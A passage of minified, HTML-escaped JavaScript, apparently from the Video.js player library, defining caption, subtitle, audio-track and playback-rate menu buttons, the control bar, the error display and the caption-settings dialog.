i=0,l=cues.length;i&lt;l;i++){var cue=cues[i],mi=new ChaptersTrackMenuItem(this.player_,{track:this.track_,cue:cue});items.push(mi)}return items},ChaptersButton}(TextTrackButton);ChaptersButton.prototype.kind_=&quot;chapters&quot;,ChaptersButton.prototype.controlText_=&quot;Chapters&quot;,Component$1.registerComponent(&quot;ChaptersButton&quot;,ChaptersButton);var DescriptionsButton=function(_TextTrackButton){function DescriptionsButton(player,options,ready){var _this;_this=_TextTrackButton.call(this,player,options,ready)||this;var tracks=player.textTracks(),changeHandler=bind(assertThisInitialized(_this),_this.handleTracksChange);return tracks.addEventListener(&quot;change&quot;,changeHandler),_this.on(&quot;dispose&quot;,(function(){tracks.removeEventListener(&quot;change&quot;,changeHandler)})),_this}inheritsLoose(DescriptionsButton,_TextTrackButton);var _proto=DescriptionsButton.prototype;return _proto.handleTracksChange=function(event){for(var tracks=this.player().textTracks(),disabled=!1,i=0,l=tracks.length;i&lt;l;i++){var track=tracks[i];if(track.kind!==this.kind_&amp;&amp;&quot;showing&quot;===track.mode){disabled=!0;break}}disabled?this.disable():this.enable()},_proto.buildCSSClass=function(){return&quot;vjs-descriptions-button &quot;+_TextTrackButton.prototype.buildCSSClass.call(this)},_proto.buildWrapperCSSClass=function(){return&quot;vjs-descriptions-button &quot;+_TextTrackButton.prototype.buildWrapperCSSClass.call(this)},DescriptionsButton}(TextTrackButton);DescriptionsButton.prototype.kind_=&quot;descriptions&quot;,DescriptionsButton.prototype.controlText_=&quot;Descriptions&quot;,Component$1.registerComponent(&quot;DescriptionsButton&quot;,DescriptionsButton);var SubtitlesButton=function(_TextTrackButton){function SubtitlesButton(player,options,ready){return _TextTrackButton.call(this,player,options,ready)||this}inheritsLoose(SubtitlesButton,_TextTrackButton);var _proto=SubtitlesButton.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-subtitles-button &quot;+_TextTrackButton.prototype.buildCSSClass.call(this)},_proto.buildWrapperCSSClass=function(){return&quot;vjs-subtitles-button &quot;+_TextTrackButton.prototype.buildWrapperCSSClass.call(this)},SubtitlesButton}(TextTrackButton);SubtitlesButton.prototype.kind_=&quot;subtitles&quot;,SubtitlesButton.prototype.controlText_=&quot;Subtitles&quot;,Component$1.registerComponent(&quot;SubtitlesButton&quot;,SubtitlesButton);var CaptionSettingsMenuItem=function(_TextTrackMenuItem){function CaptionSettingsMenuItem(player,options){var _this;return options.track={player:player,kind:options.kind,label:options.kind+&quot; settings&quot;,selectable:!1,default:!1,mode:&quot;disabled&quot;},options.selectable=!1,options.name=&quot;CaptionSettingsMenuItem&quot;,(_this=_TextTrackMenuItem.call(this,player,options)||this).addClass(&quot;vjs-texttrack-settings&quot;),_this.controlText(&quot;, opens &quot;+options.kind+&quot; settings dialog&quot;),_this}return inheritsLoose(CaptionSettingsMenuItem,_TextTrackMenuItem),CaptionSettingsMenuItem.prototype.handleClick=function(event){this.player().getChild(&quot;textTrackSettings&quot;).open()},CaptionSettingsMenuItem}(TextTrackMenuItem);Component$1.registerComponent(&quot;CaptionSettingsMenuItem&quot;,CaptionSettingsMenuItem);var CaptionsButton=function(_TextTrackButton){function CaptionsButton(player,options,ready){return _TextTrackButton.call(this,player,options,ready)||this}inheritsLoose(CaptionsButton,_TextTrackButton);var _proto=CaptionsButton.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-captions-button &quot;+_TextTrackButton.prototype.buildCSSClass.call(this)},_proto.buildWrapperCSSClass=function(){return&quot;vjs-captions-button &quot;+_TextTrackButton.prototype.buildWrapperCSSClass.call(this)},_proto.createItems=function(){var items=[];return this.player().tech_&amp;&amp;this.player().tech_.featuresNativeTextTracks||!this.player().getChild(&quot;textTrackSettings&quot;)||(items.push(new CaptionSettingsMenuItem(this.player_,{kind:this.kind_})),this.hideThreshold_+=1),_TextTrackButton.prototype.createItems.call(this,items)},CaptionsButton}(TextTrackButton);CaptionsButton.prototype.kind_=&quot;captions&quot;,CaptionsButton.prototype.controlText_=&quot;Captions&quot;,Component$1.registerComponent(&quot;CaptionsButton&quot;,CaptionsButton);var SubsCapsMenuItem=function(_TextTrackMenuItem){function SubsCapsMenuItem(){return _TextTrackMenuItem.apply(this,arguments)||this}return inheritsLoose(SubsCapsMenuItem,_TextTrackMenuItem),SubsCapsMenuItem.prototype.createEl=function(type,props,attrs){var el=_TextTrackMenuItem.prototype.createEl.call(this,type,props,attrs),parentSpan=el.querySelector(&quot;.vjs-menu-item-text&quot;);return&quot;captions&quot;===this.options_.track.kind&amp;&amp;(parentSpan.appendChild(createEl(&quot;span&quot;,{className:&quot;vjs-icon-placeholder&quot;},{&quot;aria-hidden&quot;:!0})),parentSpan.appendChild(createEl(&quot;span&quot;,{className:&quot;vjs-control-text&quot;,textContent:&quot; &quot;+this.localize(&quot;Captions&quot;)}))),el},SubsCapsMenuItem}(TextTrackMenuItem);Component$1.registerComponent(&quot;SubsCapsMenuItem&quot;,SubsCapsMenuItem);var SubsCapsButton=function(_TextTrackButton){function SubsCapsButton(player,options){var _this;return void 0===options&amp;&amp;(options={}),(_this=_TextTrackButton.call(this,player,options)||this).label_=&quot;subtitles&quot;,[&quot;en&quot;,&quot;en-us&quot;,&quot;en-ca&quot;,&quot;fr-ca&quot;].indexOf(_this.player_.language_)&gt;-1&amp;&amp;(_this.label_=&quot;captions&quot;),_this.menuButton_.controlText(toTitleCase$1(_this.label_)),_this}inheritsLoose(SubsCapsButton,_TextTrackButton);var _proto=SubsCapsButton.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-subs-caps-button &quot;+_TextTrackButton.prototype.buildCSSClass.call(this)},_proto.buildWrapperCSSClass=function(){return&quot;vjs-subs-caps-button &quot;+_TextTrackButton.prototype.buildWrapperCSSClass.call(this)},_proto.createItems=function(){var items=[];return this.player().tech_&amp;&amp;this.player().tech_.featuresNativeTextTracks||!this.player().getChild(&quot;textTrackSettings&quot;)||(items.push(new CaptionSettingsMenuItem(this.player_,{kind:this.label_})),this.hideThreshold_+=1),items=_TextTrackButton.prototype.createItems.call(this,items,SubsCapsMenuItem)},SubsCapsButton}(TextTrackButton);SubsCapsButton.prototype.kinds_=[&quot;captions&quot;,&quot;subtitles&quot;],SubsCapsButton.prototype.controlText_=&quot;Subtitles&quot;,Component$1.registerComponent(&quot;SubsCapsButton&quot;,SubsCapsButton);var AudioTrackMenuItem=function(_MenuItem){function AudioTrackMenuItem(player,options){var _this,track=options.track,tracks=player.audioTracks();options.label=track.label||track.language||&quot;Unknown&quot;,options.selected=track.enabled,(_this=_MenuItem.call(this,player,options)||this).track=track,_this.addClass(&quot;vjs-&quot;+track.kind+&quot;-menu-item&quot;);var changeHandler=function(){for(var _len=arguments.length,args=new Array(_len),_key=0;_key&lt;_len;_key++)args[_key]=arguments[_key];_this.handleTracksChange.apply(assertThisInitialized(_this),args)};return tracks.addEventListener(&quot;change&quot;,changeHandler),_this.on(&quot;dispose&quot;,(function(){tracks.removeEventListener(&quot;change&quot;,changeHandler)})),_this}inheritsLoose(AudioTrackMenuItem,_MenuItem);var _proto=AudioTrackMenuItem.prototype;return _proto.createEl=function(type,props,attrs){var el=_MenuItem.prototype.createEl.call(this,type,props,attrs),parentSpan=el.querySelector(&quot;.vjs-menu-item-text&quot;);return&quot;main-desc&quot;===this.options_.track.kind&amp;&amp;(parentSpan.appendChild(_MenuItem.prototype.createEl.call(this,&quot;span&quot;,{className:&quot;vjs-icon-placeholder&quot;},{&quot;aria-hidden&quot;:!0})),parentSpan.appendChild(_MenuItem.prototype.createEl.call(this,&quot;span&quot;,{className:&quot;vjs-control-text&quot;,textContent:this.localize(&quot;Descriptions&quot;)}))),el},_proto.handleClick=function(event){_MenuItem.prototype.handleClick.call(this,event),this.track.enabled=!0},_proto.handleTracksChange=function(event){this.selected(this.track.enabled)},AudioTrackMenuItem}(MenuItem);Component$1.registerComponent(&quot;AudioTrackMenuItem&quot;,AudioTrackMenuItem);var AudioTrackButton=function(_TrackButton){function AudioTrackButton(player,options){return void 0===options&amp;&amp;(options={}),options.tracks=player.audioTracks(),_TrackButton.call(this,player,options)||this}inheritsLoose(AudioTrackButton,_TrackButton);var _proto=AudioTrackButton.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-audio-button &quot;+_TrackButton.prototype.buildCSSClass.call(this)},_proto.buildWrapperCSSClass=function(){return&quot;vjs-audio-button &quot;+_TrackButton.prototype.buildWrapperCSSClass.call(this)},_proto.createItems=function(items){void 0===items&amp;&amp;(items=[]),this.hideThreshold_=1;for(var tracks=this.player_.audioTracks(),i=0;i&lt;tracks.length;i++){var track=tracks[i];items.push(new AudioTrackMenuItem(this.player_,{track:track,selectable:!0,multiSelectable:!1}))}return items},AudioTrackButton}(TrackButton);AudioTrackButton.prototype.controlText_=&quot;Audio Track&quot;,Component$1.registerComponent(&quot;AudioTrackButton&quot;,AudioTrackButton);var PlaybackRateMenuItem=function(_MenuItem){function PlaybackRateMenuItem(player,options){var _this,label=options.rate,rate=parseFloat(label,10);return options.label=label,options.selected=rate===player.playbackRate(),options.selectable=!0,options.multiSelectable=!1,(_this=_MenuItem.call(this,player,options)||this).label=label,_this.rate=rate,_this.on(player,&quot;ratechange&quot;,(function(e){return _this.update(e)})),_this}inheritsLoose(PlaybackRateMenuItem,_MenuItem);var _proto=PlaybackRateMenuItem.prototype;return _proto.handleClick=function(event){_MenuItem.prototype.handleClick.call(this),this.player().playbackRate(this.rate)},_proto.update=function(event){this.selected(this.player().playbackRate()===this.rate)},PlaybackRateMenuItem}(MenuItem);PlaybackRateMenuItem.prototype.contentElType=&quot;button&quot;,Component$1.registerComponent(&quot;PlaybackRateMenuItem&quot;,PlaybackRateMenuItem);var PlaybackRateMenuButton=function(_MenuButton){function PlaybackRateMenuButton(player,options){var _this;return(_this=_MenuButton.call(this,player,options)||this).menuButton_.el_.setAttribute(&quot;aria-describedby&quot;,_this.labelElId_),_this.updateVisibility(),_this.updateLabel(),_this.on(player,&quot;loadstart&quot;,(function(e){return _this.updateVisibility(e)})),_this.on(player,&quot;ratechange&quot;,(function(e){return _this.updateLabel(e)})),_this.on(player,&quot;playbackrateschange&quot;,(function(e){return _this.handlePlaybackRateschange(e)})),_this}inheritsLoose(PlaybackRateMenuButton,_MenuButton);var _proto=PlaybackRateMenuButton.prototype;return _proto.createEl=function(){var el=_MenuButton.prototype.createEl.call(this);return this.labelElId_=&quot;vjs-playback-rate-value-label-&quot;+this.id_,this.labelEl_=createEl(&quot;div&quot;,{className:&quot;vjs-playback-rate-value&quot;,id:this.labelElId_,textContent:&quot;1x&quot;}),el.appendChild(this.labelEl_),el},_proto.dispose=function(){this.labelEl_=null,_MenuButton.prototype.dispose.call(this)},_proto.buildCSSClass=function(){return&quot;vjs-playback-rate &quot;+_MenuButton.prototype.buildCSSClass.call(this)},_proto.buildWrapperCSSClass=function(){return&quot;vjs-playback-rate &quot;+_MenuButton.prototype.buildWrapperCSSClass.call(this)},_proto.createItems=function(){for(var rates=this.playbackRates(),items=[],i=rates.length-1;i&gt;=0;i--)items.push(new PlaybackRateMenuItem(this.player(),{rate:rates[i]+&quot;x&quot;}));return items},_proto.updateARIAAttributes=function(){this.el().setAttribute(&quot;aria-valuenow&quot;,this.player().playbackRate())},_proto.handleClick=function(event){for(var currentRate=this.player().playbackRate(),rates=this.playbackRates(),newRate=rates[0],i=0;i&lt;rates.length;i++)if(rates[i]&gt;currentRate){newRate=rates[i];break}this.player().playbackRate(newRate)},_proto.handlePlaybackRateschange=function(event){this.update()},_proto.playbackRates=function(){var player=this.player();return player.playbackRates&amp;&amp;player.playbackRates()||[]},_proto.playbackRateSupported=function(){return this.player().tech_&amp;&amp;this.player().tech_.featuresPlaybackRate&amp;&amp;this.playbackRates()&amp;&amp;this.playbackRates().length&gt;0},_proto.updateVisibility=function(event){this.playbackRateSupported()?this.removeClass(&quot;vjs-hidden&quot;):this.addClass(&quot;vjs-hidden&quot;)},_proto.updateLabel=function(event){this.playbackRateSupported()&amp;&amp;(this.labelEl_.textContent=this.player().playbackRate()+&quot;x&quot;)},PlaybackRateMenuButton}(MenuButton);PlaybackRateMenuButton.prototype.controlText_=&quot;Playback Rate&quot;,Component$1.registerComponent(&quot;PlaybackRateMenuButton&quot;,PlaybackRateMenuButton);var Spacer=function(_Component){function Spacer(){return _Component.apply(this,arguments)||this}inheritsLoose(Spacer,_Component);var _proto=Spacer.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-spacer &quot;+_Component.prototype.buildCSSClass.call(this)},_proto.createEl=function(tag,props,attributes){return void 0===tag&amp;&amp;(tag=&quot;div&quot;),void 0===props&amp;&amp;(props={}),void 0===attributes&amp;&amp;(attributes={}),props.className||(props.className=this.buildCSSClass()),_Component.prototype.createEl.call(this,tag,props,attributes)},Spacer}(Component$1);Component$1.registerComponent(&quot;Spacer&quot;,Spacer);var CustomControlSpacer=function(_Spacer){function CustomControlSpacer(){return _Spacer.apply(this,arguments)||this}inheritsLoose(CustomControlSpacer,_Spacer);var _proto=CustomControlSpacer.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-custom-control-spacer &quot;+_Spacer.prototype.buildCSSClass.call(this)},_proto.createEl=function(){return _Spacer.prototype.createEl.call(this,&quot;div&quot;,{className:this.buildCSSClass(),textContent:&quot; &quot;})},CustomControlSpacer}(Spacer);Component$1.registerComponent(&quot;CustomControlSpacer&quot;,CustomControlSpacer);var ControlBar=function(_Component){function ControlBar(){return _Component.apply(this,arguments)||this}return inheritsLoose(ControlBar,_Component),ControlBar.prototype.createEl=function(){return _Component.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-control-bar&quot;,dir:&quot;ltr&quot;})},ControlBar}(Component$1);ControlBar.prototype.options_={children:[&quot;playToggle&quot;,&quot;volumePanel&quot;,&quot;currentTimeDisplay&quot;,&quot;timeDivider&quot;,&quot;durationDisplay&quot;,&quot;progressControl&quot;,&quot;liveDisplay&quot;,&quot;seekToLive&quot;,&quot;remainingTimeDisplay&quot;,&quot;customControlSpacer&quot;,&quot;playbackRateMenuButton&quot;,&quot;chaptersButton&quot;,&quot;descriptionsButton&quot;,&quot;subsCapsButton&quot;,&quot;audioTrackButton&quot;,&quot;fullscreenToggle&quot;]},&quot;exitPictureInPicture&quot;in document&amp;&amp;ControlBar.prototype.options_.children.splice(ControlBar.prototype.options_.children.length-1,0,&quot;pictureInPictureToggle&quot;),Component$1.registerComponent(&quot;ControlBar&quot;,ControlBar);var ErrorDisplay=function(_ModalDialog){function ErrorDisplay(player,options){var _this;return(_this=_ModalDialog.call(this,player,options)||this).on(player,&quot;error&quot;,(function(e){return _this.open(e)})),_this}inheritsLoose(ErrorDisplay,_ModalDialog);var _proto=ErrorDisplay.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-error-display &quot;+_ModalDialog.prototype.buildCSSClass.call(this)},_proto.content=function(){var error=this.player().error();return error?this.localize(error.message):&quot;&quot;},ErrorDisplay}(ModalDialog);ErrorDisplay.prototype.options_=_extends_1({},ModalDialog.prototype.options_,{pauseOnOpen:!1,fillAlways:!0,temporary:!1,uncloseable:!0}),Component$1.registerComponent(&quot;ErrorDisplay&quot;,ErrorDisplay);var COLOR_BLACK=[&quot;#000&quot;,&quot;Black&quot;],COLOR_BLUE=[&quot;#00F&quot;,&quot;Blue&quot;],COLOR_CYAN=[&quot;#0FF&quot;,&quot;Cyan&quot;],COLOR_GREEN=[&quot;#0F0&quot;,&quot;Green&quot;],COLOR_MAGENTA=[&quot;#F0F&quot;,&quot;Magenta&quot;],COLOR_RED=[&quot;#F00&quot;,&quot;Red&quot;],COLOR_WHITE=[&quot;#FFF&quot;,&quot;White&quot;],COLOR_YELLOW=[&quot;#FF0&quot;,&quot;Yellow&quot;],OPACITY_OPAQUE=[&quot;1&quot;,&quot;Opaque&quot;],OPACITY_SEMI=[&quot;0.5&quot;,&quot;Semi-Transparent&quot;],OPACITY_TRANS=[&quot;0&quot;,&quot;Transparent&quot;],selectConfigs={backgroundColor:{selector:&quot;.vjs-bg-color &gt; select&quot;,id:&quot;captions-background-color-%s&quot;,label:&quot;Color&quot;,options:[COLOR_BLACK,COLOR_WHITE,COLOR_RED,COLOR_GREEN,COLOR_BLUE,COLOR_YELLOW,COLOR_MAGENTA,COLOR_CYAN]},backgroundOpacity:{selector:&quot;.vjs-bg-opacity &gt; select&quot;,id:&quot;captions-background-opacity-%s&quot;,label:&quot;Transparency&quot;,options:[OPACITY_OPAQUE,OPACITY_SEMI,OPACITY_TRANS]},color:{selector:&quot;.vjs-fg-color &gt; select&quot;,id:&quot;captions-foreground-color-%s&quot;,label:&quot;Color&quot;,options:[COLOR_WHITE,COLOR_BLACK,COLOR_RED,COLOR_GREEN,COLOR_BLUE,COLOR_YELLOW,COLOR_MAGENTA,COLOR_CYAN]},edgeStyle:{selector:&quot;.vjs-edge-style &gt; select&quot;,id:&quot;%s&quot;,label:&quot;Text Edge Style&quot;,options:[[&quot;none&quot;,&quot;None&quot;],[&quot;raised&quot;,&quot;Raised&quot;],[&quot;depressed&quot;,&quot;Depressed&quot;],[&quot;uniform&quot;,&quot;Uniform&quot;],[&quot;dropshadow&quot;,&quot;Dropshadow&quot;]]},fontFamily:{selector:&quot;.vjs-font-family &gt; select&quot;,id:&quot;captions-font-family-%s&quot;,label:&quot;Font Family&quot;,options:[[&quot;proportionalSansSerif&quot;,&quot;Proportional Sans-Serif&quot;],[&quot;monospaceSansSerif&quot;,&quot;Monospace Sans-Serif&quot;],[&quot;proportionalSerif&quot;,&quot;Proportional Serif&quot;],[&quot;monospaceSerif&quot;,&quot;Monospace Serif&quot;],[&quot;casual&quot;,&quot;Casual&quot;],[&quot;script&quot;,&quot;Script&quot;],[&quot;small-caps&quot;,&quot;Small Caps&quot;]]},fontPercent:{selector:&quot;.vjs-font-percent &gt; select&quot;,id:&quot;captions-font-size-%s&quot;,label:&quot;Font Size&quot;,options:[[&quot;0.50&quot;,&quot;50%&quot;],[&quot;0.75&quot;,&quot;75%&quot;],[&quot;1.00&quot;,&quot;100%&quot;],[&quot;1.25&quot;,&quot;125%&quot;],[&quot;1.50&quot;,&quot;150%&quot;],[&quot;1.75&quot;,&quot;175%&quot;],[&quot;2.00&quot;,&quot;200%&quot;],[&quot;3.00&quot;,&quot;300%&quot;],[&quot;4.00&quot;,&quot;400%&quot;]],default:2,parser:function(v){return&quot;1.00&quot;===v?null:Number(v)}},textOpacity:{selector:&quot;.vjs-text-opacity &gt; select&quot;,id:&quot;captions-foreground-opacity-%s&quot;,label:&quot;Transparency&quot;,options:[OPACITY_OPAQUE,OPACITY_SEMI]},windowColor:{selector:&quot;.vjs-window-color &gt; select&quot;,id:&quot;captions-window-color-%s&quot;,label:&quot;Color&quot;},windowOpacity:{selector:&quot;.vjs-window-opacity &gt; select&quot;,id:&quot;captions-window-opacity-%s&quot;,label:&quot;Transparency&quot;,options:[OPACITY_TRANS,OPACITY_SEMI,OPACITY_OPAQUE]}};function parseOptionValue(value,parser){if(parser&amp;&amp;(value=parser(value)),value&amp;&amp;&quot;none&quot;!==value)return value}selectConfigs.windowColor.options=selectConfigs.backgroundColor.options;var TextTrackSettings=function(_ModalDialog){function TextTrackSettings(player,options){var _this;return options.temporary=!1,(_this=_ModalDialog.call(this,player,options)||this).updateDisplay=_this.updateDisplay.bind(assertThisInitialized(_this)),_this.fill(),_this.hasBeenOpened_=_this.hasBeenFilled_=!0,_this.endDialog=createEl(&quot;p&quot;,{className:&quot;vjs-control-text&quot;,textContent:_this.localize(&quot;End of dialog window.&quot;)}),_this.el().appendChild(_this.endDialog),_this.setDefaults(),void 0===options.persistTextTrackSettings&amp;&amp;(_this.options_.persistTextTrackSettings=_this.options_.playerOptions.persistTextTrackSettings),_this.on(_this.$(&quot;.vjs-done-button&quot;),&quot;click&quot;,(function(){_this.saveSettings(),_this.close()})),_this.on(_this.$(&quot;.vjs-default-button&quot;),&quot;click&quot;,(function(){_this.setDefaults(),_this.updateDisplay()})),each(selectConfigs,(function(config){_this.on(_this.$(config.selector),&quot;change&quot;,_this.updateDisplay)})),_this.options_.persistTextTrackSettings&amp;&amp;_this.restoreSettings(),_this}inheritsLoose(TextTrackSettings,_ModalDialog);var _proto=TextTrackSettings.prototype;return _proto.dispose=function(){this.endDialog=null,_ModalDialog.prototype.dispose.call(this)},_proto.createElSelect_=function(key,legendId,type){var _this2=this;void 0===legendId&amp;&amp;(legendId=&quot;&quot;),void 0===type&amp;&amp;(type=&quot;label&quot;);var config=selectConfigs[key],id=config.id.replace(&quot;%s&quot;,this.id_),selectLabelledbyIds=[legendId,id].join(&quot; &quot;).trim();return[&quot;&lt;&quot;+type+&#039; id=&quot;&#039;+id+&#039;&quot; class=&quot;&#039;+(&quot;label&quot;===type?&quot;vjs-label&quot;:&quot;&quot;)+&#039;&quot;&gt;&#039;,this.localize(config.label),&quot;&lt;/&quot;+type+&quot;&gt;&quot;,&#039;&lt;select aria-labelledby=&quot;&#039;+selectLabelledbyIds+&#039;&quot;&gt;&#039;].concat(config.options.map((function(o){var optionId=id+&quot;-&quot;+o[1].replace(/\W+/g,&quot;&quot;);return[&#039;&lt;option id=&quot;&#039;+optionId+&#039;&quot; value=&quot;&#039;+o[0]+&#039;&quot; &#039;,&#039;aria-labelledby=&quot;&#039;+selectLabelledbyIds+&quot; &quot;+optionId+&#039;&quot;&gt;&#039;,_this2.localize(o[1]),&quot;&lt;/option&gt;&quot;].join(&quot;&quot;)}))).concat(&quot;&lt;/select&gt;&quot;).join(&quot;&quot;)},_proto.createElFgColor_=function(){var legendId=&quot;captions-text-legend-&quot;+this.id_;return[&#039;&lt;fieldset class=&quot;vjs-fg-color vjs-track-setting&quot;&gt;&#039;,&#039;&lt;legend id=&quot;&#039;+legendId+&#039;&quot;&gt;&#039;,this.localize(&quot;Text&quot;),&quot;&lt;/legend&gt;&quot;,this.createElSelect_(&quot;color&quot;,legendId),&#039;&lt;span class=&quot;vjs-text-opacity vjs-opacity&quot;&gt;&#039;,this.createElSelect_(&quot;textOpacity&quot;,legendId),&quot;&lt;/span&gt;&quot;,&quot;&lt;/fieldset&gt;&quot;].join(&quot;&quot;)},_proto.createElBgColor_=function(){var legendId=&quot;captions-background-&quot;+this.id_;return[&#039;&lt;fieldset class=&quot;vjs-bg-color vjs-track-setting&quot;&gt;&#039;,&#039;&lt;legend id=&quot;&#039;+legendId+&#039;&quot;&gt;&#039;,this.localize(&quot;Background&quot;),&quot;&lt;/legend&gt;&quot;,this.createElSelect_(&quot;backgroundColor&quot;,legendId),&#039;&lt;span class=&quot;vjs-bg-opacity vjs-opacity&quot;&gt;&#039;,this.createElSelect_(&quot;backgroundOpacity&quot;,legendId),&quot;&lt;/span&gt;&quot;,&quot;&lt;/fieldset&gt;&quot;].join(&quot;&quot;)},_proto.createElWinColor_=function(){var legendId=&quot;captions-window-&quot;+this.id_;return[&#039;&lt;fieldset class=&quot;vjs-window-color vjs-track-setting&quot;&gt;&#039;,&#039;&lt;legend id=&quot;&#039;+legendId+&#039;&quot;&gt;&#039;,this.localize(&quot;Window&quot;),&quot;&lt;/legend&gt;&quot;,this.createElSelect_(&quot;windowColor&quot;,legendId),&#039;&lt;span class=&quot;vjs-window-opacity vjs-opacity&quot;&gt;&#039;,this.createElSelect_(&quot;windowOpacity&quot;,legendId),&quot;&lt;/span&gt;&quot;,&quot;&lt;/fieldset&gt;&quot;].join(&quot;&quot;)},_proto.createElColors_=function(){return createEl(&quot;div&quot;,{className:&quot;vjs-track-settings-colors&quot;,innerHTML:[this.createElFgColor_(),this.createElBgColor_(),this.createElWinColor_()].join(&quot;&quot;)})},_proto.createElFont_=function(){return createEl(&quot;div&quot;,{className:&quot;vjs-track-settings-font&quot;,innerHTML:[&#039;&lt;fieldset class=&quot;vjs-font-percent vjs-track-setting&quot;&gt;&#039;,this.createElSelect_(&quot;fontPercent&quot;,&quot;&quot;,&quot;legend&quot;),&quot;&lt;/fieldset&gt;&quot;,&#039;&lt;fieldset class=&quot;vjs-edge-style vjs-track-setting&quot;&gt;&#039;,this.createElSelect_(&quot;edgeStyle&quot;,&quot;&quot;,&quot;legend&quot;),&quot;&lt;/fieldset&gt;&quot;,&#039;&lt;fieldset class=&quot;vjs-font-family vjs-track-setting&quot;&gt;&#039;,this.createElSelect_(&quot;fontFamily&quot;,&quot;&quot;,&quot;legend&quot;),&quot;&lt;/fieldset&gt;&quot;].join(&quot;&quot;)})},_proto.createElControls_=function(){var defaultsDescription=this.localize(&quot;restore all settings to the default values&quot;);return createEl(&quot;div&quot;,{className:&quot;vjs-track-settings-controls&quot;,innerHTML:[&#039;&lt;button type=&quot;button&quot; class=&quot;vjs-default-button&quot; title=&quot;&#039;+defaultsDescription+&#039;&quot;&gt;&#039;,this.localize(&quot;Reset&quot;),&#039;&lt;span class=&quot;vjs-control-text&quot;&gt; &#039;+defaultsDescription+&quot;&lt;/span&gt;&quot;,&quot;&lt;/button&gt;&quot;,&#039;&lt;button type=&quot;button&quot; class=&quot;vjs-done-button&quot;&gt;&#039;+this.localize(&quot;Done&quot;)+&quot;&lt;/button&gt;&quot;].join(&quot;&quot;)})},_proto.content=function(){return[this.createElColors_(),this.createElFont_(),this.createElControls_()]},_proto.label=function(){return this.localize(&quot;Caption Settings Dialog&quot;)},_proto.description=function(){return this.localize(&quot;Beginning of dialog window. Escape will cancel and close the window.&quot;)},_proto.buildCSSClass=function(){return _ModalDialog.prototype.buildCSSClass.call(this)+&quot; vjs-text-track-settings&quot;},_proto.getValues=function(){var object,fn,initial,_this3=this;return fn=function(accum,config,key){var el,parser,value=(el=_this3.$(config.selector),parser=config.parser,parseOptionValue(el.options[el.options.selectedIndex].value,parser));return void 0!==value&amp;&amp;(accum[key]=value),accum},void 0===(initial={})&amp;&amp;(initial=0),keys(object=selectConfigs).reduce((function(accum,key){return fn(accum,object[key],key)}),initial)},_proto.setValues=function(values){var _this4=this;each(selectConfigs,(function(config,key){!function(el,value,parser){if(value)for(var i=0;i&lt;el.options.length;i++)if(parseOptionValue(el.options[i].value,parser)===value){el.selectedIndex=i;break}}(_this4.$(config.selector),values[key],config.parser)}))},_proto.setDefaults=function(){var _this5=this;each(selectConfigs,(function(config){var index=config.hasOwnProperty(&quot;default&quot;)?config.default:0;_this5.$(config.selector).selectedIndex=index}))},_proto.restoreSettings=function(){var values;try{values=JSON.parse(window.localStorage.getItem(&quot;vjs-text-track-settings&quot;))}catch(err){log$1.warn(err)}values&amp;&amp;this.setValues(values)},_proto.saveSettings=function(){if(this.options_.persistTextTrackSettings){var values=this.getValues();try{Object.keys(values).length?window.localStorage.setItem(&quot;vjs-text-track-settings&quot;,JSON.stringify(values)):window.localStorage.removeItem(&quot;vjs-text-track-settings&quot;)}catch(err){log$1.warn(err)}}},_proto.updateDisplay=function(){var ttDisplay=this.player_.getChild(&quot;textTrackDisplay&quot;);ttDisplay&amp;&amp;ttDisplay.updateDisplay()},_proto.conditionalBlur_=function(){this.previouslyActiveEl_=null;var cb=this.player_.controlBar,subsCapsBtn=cb&amp;&amp;cb.subsCapsButton,ccBtn=cb&amp;&amp;cb.captionsButton;subsCapsBtn?subsCapsBtn.focus():ccBtn&amp;&amp;ccBtn.focus()},TextTrackSettings}(ModalDialog);Component$1.registerComponent(&quot;TextTrackSettings&quot;,TextTrackSettings);var ResizeManager=function(_Component){function ResizeManager(player,options){var _this,RESIZE_OBSERVER_AVAILABLE=options.ResizeObserver||window.ResizeObserver;null===options.ResizeObserver&amp;&amp;(RESIZE_OBSERVER_AVAILABLE=!1);var options_=mergeOptions$3({createEl:!RESIZE_OBSERVER_AVAILABLE,reportTouchActivity:!1},options);return(_this=_Component.call(this,player,options_)||this).ResizeObserver=options.ResizeObserver||window.ResizeObserver,_this.loadListener_=null,_this.resizeObserver_=null,_this.debouncedHandler_=function(func,wait,immediate,context){var timeout;void 0===context&amp;&amp;(context=window);var debounced=function(){var self=this,args=arguments,_later=function(){timeout=null,_later=null,immediate||func.apply(self,args)};!timeout&amp;&amp;immediate&amp;&amp;func.apply(self,args),context.clearTimeout(timeout),timeout=context.setTimeout(_later,wait)};return debounced.cancel=function(){context.clearTimeout(timeout),timeout=null},debounced}((function(){_this.resizeHandler()}),100,!1,assertThisInitialized(_this)),RESIZE_OBSERVER_AVAILABLE?(_this.resizeObserver_=new _this.ResizeObserver(_this.debouncedHandler_),_this.resizeObserver_.observe(player.el())):(_this.loadListener_=function(){if(_this.el_&amp;&amp;_this.el_.contentWindow){var debouncedHandler_=_this.debouncedHandler_,unloadListener_=_this.unloadListener_=function(){off(this,&quot;resize&quot;,debouncedHandler_),off(this,&quot;unload&quot;,unloadListener_),unloadListener_=null};on(_this.el_.contentWindow,&quot;unload&quot;,unloadListener_),on(_this.el_.contentWindow,&quot;resize&quot;,debouncedHandler_)}},_this.one(&quot;load&quot;,_this.loadListener_)),_this}inheritsLoose(ResizeManager,_Component);var _proto=ResizeManager.prototype;return _proto.createEl=function(){return 